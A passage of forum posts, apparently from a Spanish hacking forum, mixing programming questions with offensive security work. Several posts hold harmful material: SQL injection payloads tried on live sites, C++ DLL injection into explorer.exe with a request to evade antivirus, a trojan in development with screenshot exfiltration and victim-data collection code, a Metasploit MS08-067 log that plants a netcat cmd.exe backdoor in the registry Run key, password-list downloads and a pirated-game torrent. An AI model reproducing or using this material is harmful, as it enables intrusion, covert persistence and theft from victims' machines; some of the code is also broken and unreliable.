He estado codeando un pequeño ejercicio que se me ocurrió en Python y he decidido hacerlo con clases y orientado a objetos, el problema es que no soy capaz de llamar al metodo main(), os muestro el codigo que llevo hecho:

Código (python) [Seleccionar]
'''
Created on Sep 9, 2010

@author: Debci
'''
# -*- coding: utf-8 -*-
class Matrizes:
   #Nuestra querida matriz
   matriz = []
   def __init__(self):
       self.main()
   def main(self):
        while True:
            print "###### Manejo dinamico de matrizes ######\n\n"
            print "1-Insertar valores a la matriz"
            print "2-Examinar un elemento"
            print "3-Borrar un elemento"
            print "4-Modifica un elemento situado en un indice"
            print "5-Visualizar la matriz completa"
            print "6-Salir de esta aplicacion"
            indiceLeido = raw_input("Introduce tu opcion:")
            indiceLeido = int(indiceLeido)
            Matrizes.opcion(indiceLeido)
   
   
   def opcion(self,indice):
   
        #Comprobamos que indice es el introducido
        if indice == 1:
            numeroValores = raw_input("Cuantos valores desea introducir?\n")
            numeroValores = int(numeroValores)
            for i in range(numeroValores):
                valor = raw_input("Introduzca el valor asignado al indice " + str(i) + ":")
                valor = int(valor)
               
                Matrizes.matriz[i] = valor
        elif indice == 5:
            for j in Matrizes.matriz:
                print j
if __name__ == "__main__":
        Matrizes.main()


Y al ejecutar el interprete me devuelve el siguiente error:
CitarTraceback (most recent call last):
  File "/home/debci/workspace/Tester/src/main.py", line 41, in <module>
    Matrizes.main(super)
TypeError: unbound method main() must be called with Matrizes instance as first argument (got type instance instead)

Que ocurre? No estoy seguro pero me daba como error que habia que indicar self como primer parametro, pero no acabo de ver porque falla...

Un saludo y gracias desde ya.
#24
Nivel Web / Problema al hacer una SQLi
1 Septiembre 2010, 19:24 PM
Hola muy buenas a todos, probando una SQLi he encontrado lo que parece ser un posible vector de ataque:

http://www.mipagina.com/articulo/'1

CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1
CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1


Se supone que asi es vulnerable no?

Pero cuando intento hacer la injeción con esto:

-1+union+select+1,2,3,n--

(Con n me refiero a que voy subiendo de tablas)
Al insertar el -1 se va el error y no aparece ninguna tabla tras probar hasta 20 (no creo que haya mas, sinceramente).

Es vulnerable o simplemente no la estoy atacando bien?

Saludos

#25
Java / [Source]Bruteforcer MD5
29 Agosto 2010, 13:05 PM
Si! LO he conseguido, he hecho que el algoritmo sea dinámico y ampliable, he empezado a trabajar de nuevo en el para un projecto que requiere una comunicación de red, para realizar checksums, y modificar otros por fuerza bruta.

Tal como esta el codigo puesto (podeis modificar 2 parametros para ampliarlo), puede descifrar cualquier cadena de texto de 3 caracteres que contenga A,B,C por lo que yo he usado como ejemplo el siguiente hash:
md5("ACB") = 79661ff25e39af70fc48d7785f587e85;

Vamos a cualquier pagina de cifrado MD5 y le metemos el siguiente texto para cifrar:
ACB y obtenemos que la hash es: 79661ff25e39af70fc48d7785f587e85

Si no sabemos como devolverla al estado original ahora viene cuando actua mi programa:
Código (java) [Seleccionar]

import java.lang.String;
import java.math.BigInteger;
import java.security.MessageDigest;root
import java.security.NoSuchAlgorithmException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author Debci
*/
public class Encriptor {


    public static void main(String[] args)
    {
        String resultado = null;
        String match = "79661ff25e39af70fc48d7785f587e85";


        char[] mapaChars = {'A','B','C','D'};
        int longitud = 3;
        int posibles = (int) Math.pow(longitud,mapaChars.length);

        char[] combinacion = new char[longitud];
       
        int[] indice = new int[longitud];
        for(int i = 0; i < posibles;i++)
        {
          for(int x = 0; x < indice.length; x++) {
           if(!(x==indice.length)) {
                  if(indice[x] == mapaChars.length) {
                    indice[x] = 0;
                    indice[x+1]++;
                  }
                }else{
                  indice[x] = 0;
                }
          }

          for(int h = 0; h < longitud; h++) {
              combinacion[h] = mapaChars[indice[h]];
          }

          char[] resultadoTemporal = new char[longitud];
          for(int j = 0; j < combinacion.length; j++) {
              resultadoTemporal[j] = combinacion[j];
          }
          //System.out.println(resultadoTemporal);
          String resultadoFinal = new String(resultadoTemporal);
          String resultadoEncriptado = new String(Encriptor.encriptaMD5(resultadoFinal));
          if(resultadoEncriptado.equals(match))
          {
              resultado = resultadoTemporal.toString();
              System.out.println("Hash crackeada con exito!\n" + resultadoFinal);
              break;
          }

Encriptad cualquier cadena con los caracteres:
Código (java) [Seleccionar]
char[] mapaChars = {'A','B','C','D'};
Añadid los que querais, para crackear cualquier hash, el algoritmo esta diseñado para adaptarse a un nuevo dicionario y a la longitud de la hash variable:
Código (java) [Seleccionar]
int longitud = 3;
Osea que es extensible, pero si aumentamos mucho puede no funcionar por limitaciones de datos tipo int, las posibilidades serian grandiosas y un int no puede con un dato asi de grande, por lo que ya trabajo en un método para no depender de la VM de java y almacenar dicho numero de combinaciones posibles en memoria directamente.
Cabe mencionar que para entender el codigo quizás haya que tener un nivel medio-basico de combinatoria y matematicas estadisticas (sobre todo con probabilidad).

Disfruten el codigo!

Leyer estate tranquilo que esta quedando de coña!

Saludos
#26
Buenas a todos, estoy auditando un sistema web casera de la tienda de mi tio, me dijo que lo podia usar para hacer pruebas si no modificaba nada  >:D
La cuestión es que encontré varias fallas SQLi, y ahora quiero simular la explotación o por lo menos obtener datos interesantes, primero comprové que la variable ID era vulnerable:

noticias.php?id='1
Y devolvió error!

Luego me aseguré de ver que tablas eran vulnerables y en la numero 7 pude observar que me devolvia 2,4,5
noticias.php?id=-1+union+select+1,2,3,4,5,6,7--
Así que procedí a obtener la information_schema, pero antes comprobar la versión:

noticias.php?id=id=-1+union+select+1,@@version,3,4,5,6,7--
Y me deolvió:
4.0.27-max-log

Y según se, este mysql no trae information_schema , cierto? Ya me confirmarán.
Ahora viene el problema, intento obtener tablas de information_schema:
noticias.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables--
Pero tan solo obtengo:
CitarError : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(table_name),3,4,5,6,7 from information_schema.tables--' at lin

Que estoy haciendo mal? Juraria que la querie esta bien formulada pero no soy muy dado a los SQLi :S

Saludos
#27
Buenas a todos, estoy diseñando un soft web para mostrar una lista de opcodes (te suena LEYER?), queri ver si algun usser que haya usado mas JSP podria saber porque ocurre el siguiente error:

Código (html4strict) [Seleccionar]
<%@ page  import="java.io.*,java.util.*,java.net.*,java.sql.*" %>

<!DOCTYPE HTML PUBLIC  "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><title>Ejemplo consulta  JSP</title></head>
<body><center>
<%
Connection  canal = null;
Statement instruccion=null;
ResultSet tabla= null;
String conexion =  ("jdbc:mysql://localhost/opcodes?user='noteinteresa'&amp;password='noteinteresa'");
//Abrir el enlace
try{
Class.forName("com.mysql.jdbc.Driver").newInstance();
canal =  DriverManager.getConnection(conexion);
instruccion =  canal.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
}
catch(ClassNotFoundException e){ out.println(e);}
catch(SQLException e){ out.println(e);}
try{
tabla =  instruccion.executeQuery("SELECT * FROM dictionary");
out.println("<table border=1>");
out.println("<tr><th>Id</th><th>Comando</th><th>Comando antiguo</th><th>Info</th></tr>");
while(tabla.next()){
out.println("<tr><td>"+tabla.getString(1)+"</td><td>"+tabla.getString(2)+"</td><td>"+tabla.getString(3)+"</td><td>"+tabla.getString(4)+"</td></tr>");
}
out.println("</table>");
}
catch(Exception e){  out.println(e);}
%>
</center></body>
<html>

Me devuelve el siguiente error:
java.lang.ClassNotFoundException: com.mysql.jdbc.Driver java.lang.NullPointerException
He añadido al projecto en netbeans dicha libreria y nada :s

Saludos
#28
Scripting / Problema con expresiones regulares
21 Agosto 2010, 22:05 PM
Hola a todos, hace un rato me ha dado el puntazo de hacerme un parser para una pagina web y he decidido hacerlo en Python, he leido la doc de las regexp con algunos ejemplos, pero no funciona como deberia, al menos eso me parece a mi:

Código (python) [Seleccionar]

#!/usr/bin/python
import re
while True:
  palabra = raw_input("Introduce tu expresion para ver si coincide:\n");
  if re.match("http://(.+)\net", palabra):
     print "Cierto"
  else:
     print "Falso"


Si en teoria introduzco http://www.google.net
Deberia devolverme cierto no?
Pero no es asi.
No tengo claro del todo que hace el + pero creo que concatena las dos cadenas, es como el divisor entre miembros, pero no estoy seguro.

Saludos
#29
Asi es amigos, tras instalar y probar Backtrack4 por algun motivo mi conexion a internet se ralentiza usando este sistema operativo.
Si pruebo en mi otra particion con Windows o Ubuntu, funciona perfectamente sin ralentizaciones.

Cabe mencionar que en la version anterior de Backtrack iba perfectamente, osea la Backtrack 4 final.
Conectaba y nevagaba a velocidad normal sin problemas.

Alguien tiene idea de lo que puede estar pasando?

Saludos
#30
Buenas a todos, tras seguir investigando el API de windows, al final he conseguido injectar mi propia dll, en este caso bajo el proceso explorer.exe, que tras realizar pruebas he visto que se bloqueaba, por lo que el programa reinicia el proceso antes de injectar la DLL.

Se que me van a hechar la bronca por abrir el proceso con una call a system(); pero no queria complicarme demasiado la vida, al menos no ahora, queria asegurarme no mas de que funcionaba.

Luego encontre que los antivirus detectan el CreateRemoteThread como malicioso, asi que agradeceria algun otro metodo o consejo.

Sin mas el codigo:

PsControl.h
Código (cpp) [Seleccionar]

#ifndef _PSCONTROL_H_
#define _PSCONTROL_H_
#include <Windows.h>
#include <iostream>
#include <cstdlib>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdio.h>
using namespace std;
int killProcess(DWORD pid)
{
   HANDLE proceso;
   proceso=OpenProcess(PROCESS_TERMINATE,FALSE,pid);

//cerramos el proceso
TerminateProcess(proceso,0);

CloseHandle(proceso);
return 0;

}
DWORD getPsId(const char* PsName)
{
DWORD ProcessID;    
HANDLE Handle;
PROCESSENTRY32 ProcI;

Handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
ProcI.dwSize=sizeof(PROCESSENTRY32);

while(Process32Next(Handle,&ProcI))
    if(!strcmp(ProcI.szExeFile,PsName))
       ProcessID=ProcI.th32ProcessID;


CloseHandle(Handle);

return ProcessID;
}
#endif


main.cpp
Código (cpp) [Seleccionar]

#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <conio.h>
#include <iostream>
#include "PsControl.h"
using namespace std;
void main()
{
HANDLE psHandle;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int PSpid;

DWORD psPID = getPsId("explorer.exe");
   cout << psPID << endl;
   killProcess(psPID);
system("explorer.exe");
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
cout << "[!]Buscando el proceso... "<< endl;
   while(Process32Next(handle, &procinfo))
   {
      if(!strcmp(procinfo.szExeFile, "explorer.exe"))
      {
          CloseHandle(handle);
  PSpid = procinfo.th32ProcessID;
  cout << "[+]Proceso encontrado!" << endl;
      }
   }
   CloseHandle(handle);


cout << "[!]Iniciando injecion de DLL..." << endl;
cout << "[+]Obteniendo handle del proceso..." << endl;
if(!(psHandle = OpenProcess(PROCESS_ALL_ACCESS, false, PSpid)) == 0)
cout << "[-]Error al conseguir el handler del proceso!" << endl;
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(psHandle,NULL,strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(psHandle,(LPVOID)RemoteString,"C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll",strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),NULL);
CreateRemoteThread(psHandle,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(psHandle);
getch();
}

El codigo no esta ordenado, he repetido una misma funcion 2 veces (lo arreglare) pero queria que me dijesen que tal.

Saludos
#31
Buenas, tras conseguir la manera de obtener el PID sin necesidad de cojer la handle de la window, cree un code para poder modificar otros programas o procesos en ejecucion (que bien lo he pasado jeje), aqui primero el programa de ejemplo:

http://www.mediafire.com/?2mapqpuebn8kym1

Para encontrar el sector de memoria a modificar busquen por el numero que tienen almacenado en un momento determinado en la variable y cambien dicho sector de memoria en el codigo para injectar vuestro propio valor.

Esta basado en el tutorial de Vladek que lei hace tiempo, una variable que va acumulando valores de lo que recive sumandolos y mostrando su resultado.

Ahora nuestro programa, que en primer lugar obtiene el PID de un proceso a traves del nombre (Gracias Littlehorse), y lo modifica con WriteProcess, usando el handle obtenido con el PID:

Código (cpp) [Seleccionar]

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdio.h>
#include "PsControl.h"

using namespace std;

int main()
{
HANDLE hPsLectura;
DWORD pidPs;
pidPs = getPsId("Proyecto1.exe");
cout << pidPs << endl;
hPsLectura = OpenProcess(PROCESS_ALL_ACCESS,false,pidPs);
long Numero = 71827339;
DWORD Bytes;
/* La direcion de memoria que vamos a cambiar en el proceso con HANDLER hPsLectura es 0x0022FF44 y cambiaremos el valor Numero */
WriteProcessMemory(hPsLectura,(LPVOID)0x0022FF44,&Numero,sizeof(Numero_Nuevo),&Bytes);
system("pause");
return 0;
}


Se que me diran que el system("No es portable"); y tal pero es que pocas funciones aqui usadas lo son :)

Y ahora la libreria con el control de procesos:

Código (cpp) [Seleccionar]

#ifndef _PSCONTROL_H_
#define _PSCONTROL_H_
#include <Windows.h>
#include <iostream>
#include <cstdlib>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdio.h>
using namespace std;
int killProcess(DWORD pid)
{
   HANDLE proceso;
   proceso=OpenProcess(PROCESS_TERMINATE,FALSE,pid);


TerminateProcess(proceso,0);

CloseHandle(proceso);
return 0;

}
DWORD getPsId(const char* PsName)
{
DWORD ProcessID;    
HANDLE Handle;
PROCESSENTRY32 ProcI;

Handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
ProcI.dwSize=sizeof(PROCESSENTRY32);

while(Process32Next(Handle,&ProcI))
    if(!strcmp(ProcI.szExeFile,PsName))
       ProcessID=ProcI.th32ProcessID;


CloseHandle(Handle);

return ProcessID;
}
#endif


Eso es todo, no es un programa final, pero puede que a muchos les solucione algunas dudas.

Un saludo
#32
Buenas a todos, recientemente hice un pequeño codigo en C++ para dopar una aplicacion, bajo windows XP funciona perfectamente pero cuando la quiero correr en Vista nada:

Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>

using namespace std;

int main()
{
HWND hVentana;

if (!(hVentana = FindWindow(NULL,"ProgramaCrackeado")))
{
MessageBox(NULL,"No se pudo encontrar la ventana","Error",MB_OK);
return -1;
}
}

Necesito conseguir el Handle de la ventana para obtener el PID del proceso y modificar sectores concretos de su memoria.

Lo que ocurre es que parece no encontrar la ventana puesto que el nombre es correcto, porque lo hago con la calculadora de windows y ocurre exactamente lo mismo, nunca encuentra la ventana, asi que puse el parametro del nombre como null y segun MSDN deben coincidir todas las ventanas con esa "Busqueda" pero ocurrian cosas indeseadas pues injectaba en memoria de procesos que no queria injectar.


Como lo mas probable es que este deprecated o en Vista no funcione, queria preguntar si existe alguna otra manera de obtener el PID de un proceso en ejecucion.

#33
Buenas hace un rato recorde a un personaje que hizo su andada por este foro, en la secion de ASM, habla como un experto pero leyendole un poco cae a peso que no ha programado en su vida asm... es desternillante...
De ese mensaje abajo, no tiene perdida...

L33t coder en ASM

Alguno mas he visto pero no recuerdo ahora mismo.

Poned albuno que hayais encontrado vosotros! jeje

#34
Buenas a todos, me he encontrado con esto:

http://www.exploit-db.com/exploits/14566/

Y el reporte:

http://secunia.com/advisories/40870

Description
Arkon has discovered a vulnerability in Microsoft Windows, which can be exploited by malicious people to gain escalated privileges.

The vulnerability is caused due to a boundary error in win32k.sys within the "CreateDIBPalette()" function when copying colour values into a buffer allocated with a fixed size when creating the DIB palette. This can be exploited via the "GetClipboardData()" API to cause a buffer overflow by specifying a large number of colours (greater than 256) via the "biClrUsed" field in a BITMAPINFOHEADER structure.

Successful exploitation may allow execution of arbitrary code with kernel privileges.

The vulnerability is confirmed in fully patched versions of Windows XP SP3, Windows Server 2003 R2 Enterprise SP2, Windows Vista Business SP1, Windows 7, and Windows Server 2008 SP2.

Solution
Grant only access to trusted users.

Provided and/or discovered by
Arkon

Original Advisory
Arkon:
http://www.ragestorm.net/blogs/?p=255
Technical Analysis
Further details available in Customer Area

Deep Links
Links available in Customer Area

He intentado hacerlo funcionar, pero no hay manera de compilarlo, y supongo que es c :S

Saludos
#35
En respuesta al problema que hubo con el starcraft por Descarga Directa en este foro...
Os traigo un torrent, como mero aporte, quee sta muy completo, con sus dos ISOs.

http://www.torrentreactor.to/torrents/view_2403102/Starcraft_2_Wings_of_Liberty_PC_DVD_Spanish_www_consolasatope_com.html

Saludos
#36
Buenas a todos, programando un regalito para el foro y la comunidad, ha nacido un source bastante interesante!

Queria realizar capturas en un equipo remoto, y convertirlas a un arreglo de bytes para luego enviarlas (si queremos fragmentado :D) para luego reconstruirlo en el pc remoto:

Realizando la captura:

Código (java) [Seleccionar]
public static File getScreenShot()
{
String fileName="/root/captura01.png";
Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize();
Rectangle screenRectangle = new Rectangle(screenSize);
Robot robot = null;
try {
robot = new Robot();
} catch (AWTException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}
BufferedImage image = robot.createScreenCapture(screenRectangle);
try {
ImageIO.write(image, "png", new File(fileName));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}

//----

try
{



robot.createScreenCapture(screenRectangle);

}
catch(Exception e)
{
e.printStackTrace();
}
File imageFile = new File(fileName);

return imageFile;

}


Obteniendola y escribiendo a un arreglo de bytes:

Código (java) [Seleccionar]

File captura = null;
captura = funciones.getScreenShot();

try {
InputStream is = new FileInputStream(captura);
long length = captura.length();
if (length > Integer.MAX_VALUE) {
        System.out.println("El archivo es demasiado grande!");
    }

    // Create the byte array to hold the data
    byte[] bytes = new byte[(int)length];

    // Read in the bytes
    int offset = 0;
    int numRead = 0;
    while (offset < bytes.length
           && (numRead=is.read(bytes, offset, bytes.length-offset)) >= 0) {
        offset += numRead;
    }

    // Ensure all the bytes have been read in
    if (offset < bytes.length) {
        throw new IOException("No se puede leer completamente el archivo "+captura.getName());
    }

    // Close the input stream and return bytes
    is.close();


Y ahora tratandola, por ejemplo enviarla:
Código (java) [Seleccionar]

Socket cliente = new Socket("localhost",666);
DataOutputStream os = new OutputStream(cliente.getOutputStream());
for(int i = 0; i < bytes.length; i++)
{
os.write(bytes[i]);
S}

Y los vamos reciviendo recursivamente (muy parecido a lo anterior)

Y ahora lo escribimos a un fichero:
Código (java) [Seleccionar]

                  File imagenFinal = new File("/root/imagencopiada.jpg");
      FileOutputStream fileNuevo = new FileOutputStream(imagenFinal);
      fileNuevo.write(bytes);


Y habremos transferido nuestra imagen!


Saludos
#37
Buenas a todos, estoy programando un troyano, ya le queda poco, solamente resta escritorio remoto y capturas de pantalla, la cosa esta en que, cuando hago una captura para convertirla en un array de bytes y transferirla por sockets a mi pc, no tengo donde guardarla y hacerlo en el escritorio de la victima o el sitio donde se haya ejecutado es cutre, y lo detectaria rapido, asi que me gustaria saber carpetas temporales a las cuales tengan aceso tanto administrador como ussers normales (por si se ejecuta bajo privilegios de usuario), tanto para Linux como para Windows, es posible tener aceso a carpetas de estas caracteristicas?

Saludos
#38
Buenas a todos, hoy me puse a codear un pequeño codigo para capturar informacion de un sistema y compactarla para transferirla facilmente, el codigo es el siguiente:


Código (java) [Seleccionar]
[package main;
import java.util.Stack;
import java.util.Vector;
import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import interacion.WebCam;
public class RecopilacionDatos {
public static Vector devices;
public static NetworkInterface[] netInterfaces;
private static String info[];
public static Vector<String> dataSistema = new Stack();
public static Vector getInformacionSistema()
{
dataSistema.add(System.getenv("COMPUTERNAME"));
dataSistema.add(System.getProperty("user.name"));
dataSistema.add(System.getenv("PROCESSOR_IDENTIFIER"));
dataSistema.add(System.getProperty("os.name"));
dataSistema.add(System.getProperty("user.dir"));
dataSistema.add("1");
    devices = WebCam.getDispositivos();
    if(devices.size() == 0)
    {
    dataSistema.add("false");
    }else{
   
    for(int i=0;i<devices.size();i++)
    {
    dataSistema.add("  |- "+devices.elementAt(i));
    }
   
    }
    dataSistema.add("2");
   
    netInterfaces = JpcapCaptor.getDeviceList();
    if(netInterfaces.length == 0)
    {
    dataSistema.add("false");
    }else{
   
    for (int i = 0; i < netInterfaces.length; i++)
    {
   
    if(i == (netInterfaces.length -1))
    {
    dataSistema.add("  |_ "+netInterfaces[i].name + "\n");
    }else{
    dataSistema.add("  |- "+netInterfaces[i].name);
    }
   
    }
    }
return dataSistema;
}
}/code]


Y me bota una nullpointerexception cuando añado la primera cadena al vector:
[code=java]dataSistema.add(System.getenv("COMPUTERNAME"));


Lo que hago luego con el vector que me devuelve esta funcion es recorrerlo y mostrarlo ordenador por pantalla (de entrada ya puedo enviarlo por un stream de algun socket por ejemplo :D)

Espero que puedan ver lo que ocurre, es tarde y ya no atino.

Gracias :D

SOLUCIONADO: MI cabezota se olvidó de inicializar el objeto xDDD

Saludos[/code]
#39
NO hacen falta explicaciones:



Que opinais?


Saludos
#40
Hola a todos, recientemente practicando PenTest con un equipo remoto (es mio si...) consegui explotarle una vulnerabilidad y bindearme a una reverse tcp meterpreter, una vez en su equipo, me dispuse a asegurarme el aceso, lo hice de la siguiente manera (basandome en lo que Kamsky explicó):

               ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST xx.xx.xx.xx
RHOST => xx.xx.xx.xx
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     xx.xx.xx.xx      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (xx.xx.xx.xx:1934 -> xx.xx.xx.xx:4444)

meterpreter >


Una vez dentro me dispuse a subir el netcat.exe y ponerlo con la shell en un puerto y escribirlo en el registro:

meterpreter > upload /root/tools/nc.exe C:\\Windows\\System32\\
[*] uploading  : /root/tools/nc.exe -> C:\Windows\System32\
[*] uploaded   :  /root/tools/nc.exe-> C:\Windows\System32\\nc.exe
meterpreter >


Una vez subido y que se puede ejecutar en la consola sin ruta especifica:

meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v WindowsCore -d 'C:\Windows\System32\nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >


Lo pondrá a la espera en el puerto 1234, pero si ese puerto no esta mapeado en el router como diablos voy a conectarme a la backdoor?Puedo de alguna manera abrir puertos en su router? Estuve pensando en subirle un servidor VNC pero es muy cutre, y se daria cuenta de que estan trasteando(en el caso de que fuese una situación real...).

A expensas de que muchos van a decir que como es tu router abrelos tu, les diré que en una situación real no se puede hacer eso, y quiero hacerlo todo como si una real se tratase!

Saludos y gracias a todos!
#41
Hola a todos, tras casi 4 años sin hacer alguna paridita en photoshop (No hice mas que algun retoque fotografico xD), hoy me he decidido a crear algo usando brushes, efectos, basandome en el tuto de Smashing con el cristal.

No seais muy duros, ya digo que es mi primera creacion:



Que me recomendais mejorar?

Saludos
#42
Hola a todos, hoy he estado leyendo unos papers (uno de ellos del Master en seguridad web SDC), he aprendido muchas cosas sobre SQLi y XSS.
ES muy bonito cuando tienes el source code a la vista, y ves que puede injectar.

Se me presentan varias dudas:

1-Que haceis para ver si una variable es vulnerable a SQLi o XSS? Cojeis todas las variables de un web (si es asi como las conseguiis) y probais una a una? Si probais una a una, que probais para los XSS o los SQLi usais siempre la misma prueba o cambiais el script o querie que le lanzais?

2-Mi experiencia me dice que los escaners de vulnerabilidades no sirven para mucho, personalmente en mi vida he encontrado ni una sola vulnerabilidad con un escaner, sera que soy muy torpe o que los targets que examino son muy seguros. Que opinais al respecto?

3-Que haceis para saber si una input en una web es vulnerable a XSS? Porque la mayoria de veces tienen filtros o magic-quotes y eso dificulta las cosas.Se pueden bypassear magic-quotes? Como se que tipo de filtro usa un input? En mi caso hace un tiempo me encontre uno con addslashes, que deberia hacer en ese caso?

4-Soleis descargar una copia del sistema web que estais intentando vulnerar (osea, si es un foro, bajais el codigo PHP) para posteriormente analizarlo?

5-En algun caso, de un ataque real es practico usar un ataque por fuerza bruta a un formulario para aceder?


Espero que puedan resolver mis dudas.

Saludos
#43
Buenas, dando una vuelta por el foro de backtrack hispano me he encontrado con un grandisimo recopilatorio de dicionarios para testear nuestros servicios con bruteforce.
Os cito lo que dice:

CitarMontar Biblioteca PasswordList.

Algunos a veces por cualquier motivo que sea, necesitamos probar la seguridad de sistemas, servicios etc. que esten protegido con credenciales (nombres, passwords, etc) a través de la Fuerza Bruta, Ataques por diccionario.

-un jefe me ha pedido que compruebe, a ver si son seguras las credenciales que utilizan para asignarles a todos y cada uno de los servicios que utilizan para gestionar y administrar la empresa remotamente. Me di cuenta que utilizaban el VNC Y el anticuado Telnet para ello._
La historia va todo bien. Backtrack trae las mejores herramientas para ello. Yo tenia el Medusa delante, con esto bastaba. Lo único malo es que PasswordsLists, Combos y eso tenia solo uno Backtrack. Me pregunto "¿porque no añadirán unos de verdad y se dejan de historias con el /pentest/passwords/wordlists/darkc0de.lst?" que no vale de nada. ¿alguien a tenido éxito con esta CACA?

Así que decidí buscar toda clase de diccionarios, passwordlists, combos, etc. Los organicé, cree algunos más y arme una biblioteca decente de Passwordslists y diccionarios. Entonces si tuve éxito.
Bueno simplemente lo comparto con vosotros. Espero que le saquéis provecho de ello porque "anda que me ha costao".


El tutorial seria:
Acceder mediante web a alguno de los enlaces de descarga descritos abajo:--------------
Descargarte todos los diccionarios/Passwordlist/combos que quieras.
Mover todo el material descargado a /pentest/passwords/wordlists/ para tenerlos organizados y a mano siempre.

Contenido:
################################################## ##
Diccionarios:
·Africano ·Checo ·Chino ·Croata ·Danés ·Español ·Finlandés
·Francés ·Germán ·Hindú ·Húngaro ·Ingles ·Italiano ·Japones ·Latín ·Neerlandés ·Noruego ·Polaco ·Ruso ·Sueco ·Swazilandia ·Turco.
################################################## ##
Relacionado con Informática:
·Diccionario Cracking ·Diccionario UNIX ·Diccionario Pocket
·Nombres de Dominio ·Empresas de informática ·Sites FTP
·Hosts más utilizados ·Usenet ·nombres de Virus ·Diccionario WebMasters.
################################################## ##
Nombres:
·Nombres Masculinos ·Nombres Femeninos ·Apellidos ·Nombres de Famosos
·Cómics ·Nombres Americanos ·Nombres Españoles ·Nombres Franceses
·Nombres Griegos ·Nombres raros ·Nombres de Perros ·Nombres de Drogas
·Localidades ·Congresistas ·Nombres de Colegios ·Códigos Postales.
################################################## ##
Música:
·Grupos de Rock ·Música Clasica ·Country ·Dance ·Jazz ·Rock ·Música de películas.
################################################## ##
Ciencia, Literatura, Religión y Cultura:
·CIENCIA: asteroides, biología, números.
·CULTURA: Títulos de películas, Monty Python, Star Trek, Lost.
·LITERATURA: El mago de Oz, Mitología y leyendas, Rey Arthur, Shakespeare.
·RELIGIÓN: La biblia, El koran, Satánica.
################################################## ##
Guarrerias, XXX, etc:
·8 caracteres ·6 caracteres ·Passwords Tontos ·Passwords XXX ·Combos XXX ·etc.
################################################## ##

Descargas:

mediafire.com/?sharekey=1ad4b620bf867fc6d9d5c56d04dfa8b0e3473809 6de439f377b784fef9ed9be3

tambien se puede descargar todo el contenido mediante algun cliente torrent:

thepiratebay.org/torrent/5624306

Fuente:
http://www.backtrack-linux.org/forums/guias-y-tutoriales/26662-biblioteca-de-diccionarios-y-passwordlist.html

Saludos
#44
Nivel Web / Bypass de un filtro XSS
19 Julio 2010, 20:39 PM
Hola a todos estoy realizando una prueba de un wargame, y sospecho que hay que bypassearlo con xss, asi que me he puesto manos a la obra:

Introduzco en la caja de texto:
"\'<script>alert();</script>'\"

Y me devuelve:

\"\\\'<script>alert();</script>\'\\\"

Osea que tiene filtro.

Pero por mas que cierro comillas y abro e intento no hay manera de bypassearlo.

